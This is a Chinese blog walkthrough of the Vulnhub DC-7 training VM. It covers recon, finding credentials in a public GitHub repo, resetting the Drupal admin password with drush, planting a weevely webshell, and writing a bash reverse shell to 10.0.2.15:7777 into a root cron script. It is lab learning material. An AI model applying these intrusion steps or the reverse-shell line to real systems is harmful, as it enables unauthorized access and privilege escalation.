• Vulnhub_DC7 记录


    基本步骤

    步骤

    经验 & 总结

    1. 对信息还是不敏感,其实也是因为对Drupal这个CMS并不熟悉,不知道哪些地方是默认的那些地方是作者修改,比如这个“DC7USER”。
    2. 对Drupal这个CMS不熟悉,不知道Drush这个工具是什么东西,一开始根本就没注意到;也不知道Drupal可以通过Web页面编写PHP脚本。
    3. 一开始在dc7user的shell中探测计划任务,crontab计划任务中并没有/opt/scripts/backups.sh因为权限不够
    4. 在最后修改计划任务脚本时需要注意,一定要确保文件头#!/bin/bash,否则无法正常执行。原因不详,还请各位大佬告知

    步骤流水

    进行端口探测,得到只开放了两个端口:22、 80端口

    端口扫描结果

    • 对80端口进行检查

    whatweb结果

    • CMS为Drupal8框架

    • robots.txt 中透露了22个目录,不知道有没有线索。我不知道正常drupal8安装后robots.txt内容是什么样

    • msf一把梭:msf搜索相关漏洞,包含了exploit-db中的最新exp,无脑测试,都失败了。

    msf中的exp

    • 到这一步懵逼了,但是可以确定还是需要从80端口突破

    • 偷看一眼参考答案,需要在某个不存在的网站上搜索DC7USER(信息搜集的重要性……),可以找到一个github仓库地址,根据README中的信息,得知该仓库存放的是web的部分代码。

      • 大致浏览一下,有几个文件看起来和登录有关。
        代码文件

      • 直接搜索“password”发现包含用户名和密码,而且看起来好像是数据库的用户名和密码,但是nmap扫描结果中并没有与数据库相关的信息,推测是对外屏蔽了端口。

        搜索结果

        用户名和密码

      • 依次尝试目前得到的登录接口:尝试登录drupal,失败;测试登录ssh,成功。

        ssh登录

    • SSH:

      • 直接尝试已知的提权办法,脚本扫一扫、参考cheatsheet试试看,没成功。

      • 提示有个新邮件,ls查看当前目录下有两个文件,一个文本文件叫mbox,一个backups文件夹

      • 查看当前进程确认有mysqld在运行,尝试登录,提示被禁止。尝试运行sudo命令,提示该命令不存在。

        检查当前进程

      • 查看mbox

        • 虽然很长,但是内容基本重复,可以得到的信息是存在一个定时任务,备份数据库文件

          定时任务

      • scp -r dc7user@10.0.2.9:/home/dc7user/backups ./复制文件到本地进行查看,但是是加密文件。

        备份文件

        查看计划任务脚本,得到密码

        密码

      • 数据库备份文件超大33M,感兴趣的是里面的users_field_data表,可以查询到用户名和加密后的密码。另外查看了备份的web目录,没有写死的用户名和密码。

        存在的表

    • 至此再次陷入僵局

    再次翻看参考答案:突破点在/opt/scripts/backups.sh脚本上

    • backups.sh

      • 查看权限可以看出该脚本属组并不是root而是www-data,同时www-data有对该文件的完全控制权

        权限

      • 因此突破关键转移到如何获得一个www-data组中的用户,查询发现www-data组中仅包含www-data用户,www-data仅运行apache进程,因此需要通过web页面获得shell才能获取对backups.sh的修改权限。

        apache进程

      • 查看脚本中的内容,发现执行了drush命令

        Drush是Drupal的命令行shell和Unix脚本接口。Drush Core附带了许多有用的命令,可用于与模块/主题/配置文件等代码进行交互。

        一开始执行drush命令的时候总是提示:Command user-create needs a higher bootstrap level to run - you will need to invoke drush from a more functional Drupal environment to run this command.

        需要切换到项目根目录或Drupal中。没仔细看文档:通过在项目根目录或Drupal中的任何位置键入“ drush”,可以在Shell中运行Drush。另外,在这个脚本中也是先移动到web目录,再执行备份任务。

        通过drush user-password admin --password="new_pass"修改admin密码,成功登录drupal。为什么dc7user用户会有这个命令的控制权?还请大佬指点

      • 成功登录后台

        成功登陆

    • 再一次歇逼,没用过Drupal,知道这个时候应该想办法写一个php的webshell,但是搜了一圈也没找到怎么通过Web后台写WebShell。

    再次翻看参考答案(我是真的菜啊)

    • 为drupal添加一个插件,让它支持编辑PHP页面

      • 下载php-8.x-1.0.tar.gz,在后台安装并激活

      • weevely generate 123 ./shell.php生成一个webshell,通过web写入drupal

        webshell

      • 发布之后使用weevely连接,可以得到一个www-data权限的shell

        shell

      • 在计划任务脚本后面添加反弹shell脚本,本机监听等待回连,耐心等待,通过邮件的时间可以得知该脚本每15分钟执行一次。

        echo "bash -i >& /dev/tcp/10.0.2.15/7777 0>&1" > /opt/scripts/backups.sh

        成功了

  • 相关阅读:
    正向代理与反向代理的区别
    显式拥塞通知ECN剖析
    Save info in Hidden Field
    sessionID difference
    Windows server 2003 无法找到Cookies位置
    create Cookie
    SQL Server Session
    New class in ASP.NET
    Save info in Query string
    Crypto number
  • 原文地址:https://www.cnblogs.com/ph1sh/p/12150346.html
Copyright © 2020-2023  润新知